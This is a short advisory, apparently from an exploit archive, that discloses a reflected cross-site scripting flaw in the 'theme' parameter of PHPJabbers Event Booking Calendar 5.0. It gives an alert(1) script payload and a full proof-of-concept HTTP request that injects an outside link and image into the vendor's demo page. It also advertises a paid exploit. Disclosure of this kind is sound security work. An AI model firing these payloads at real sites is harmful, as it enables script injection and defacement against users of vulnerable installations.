📄 Event Booking Calendar 5.0 Cross Site Scripting

## Titles: Event Booking Calendar-5.0 Cross-site scripting (reflected)
    ## Author: nu11secur1ty
    ## Date: 5/13/2026
    ## Vendor: https://www.phpjabbers.com/
    ## Software: https://www.phpjabbers.com/event-booking-calendar/
    ## Reference: https://portswigger.net/web-security/cross-site-scripting
    
    ## Description:
    
    The value of the theme request parameter is copied into the value of an
    HTML tag attribute which is encapsulated in double quotation marks.
    The payload a6kx6"><script>alert(1)</script>po9g6 was submitted in the
    theme parameter. This input was echoed unmodified in the application's
    response.
    This proof-of-concept attack demonstrates that it is possible to inject
    arbitrary JavaScript into the application's response.
    
    STATUS: HIGH- Vulnerability
    
    [+]Exploit:
    
    ```
    GET
    /scripts/event-booking-calendar/preview.php?locale=1&hide=0&theme=theme1a6kx6%22%3E%3Ca%20href=%22
    https://www.youtube.com/watch?v=Q9pX-pEAFT4%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https://media1.tenor.com/m/sLjUbG5BVikAAAAd/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C/a%3Epo9g6
    HTTP/2
    Host: demo.phpjabbers.com
    Cookie: EventBookingCalendar=179dabd0dc4c6897881b9496ceeaa53a
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Windows"
    Accept-Language: en-US,en;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate, br
    Priority: u=0, i
    
    ```
    
    ##[+]Buy the Exploit if you need and if you want to support me:
    [href](https://venvar.gumroad.com/l/jrzzmg)
    
    ## Reproduce:
    [href](
    https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/PHPJABBERS/Event-Booking-Calendar-5.0-Cross-site-scripting(reflected)
    )
    
    
    ## Demo PoC:
    [href](https://www.patreon.com/posts/event-booking-5-158137115)
    
    ## Time spent:
    01:27:00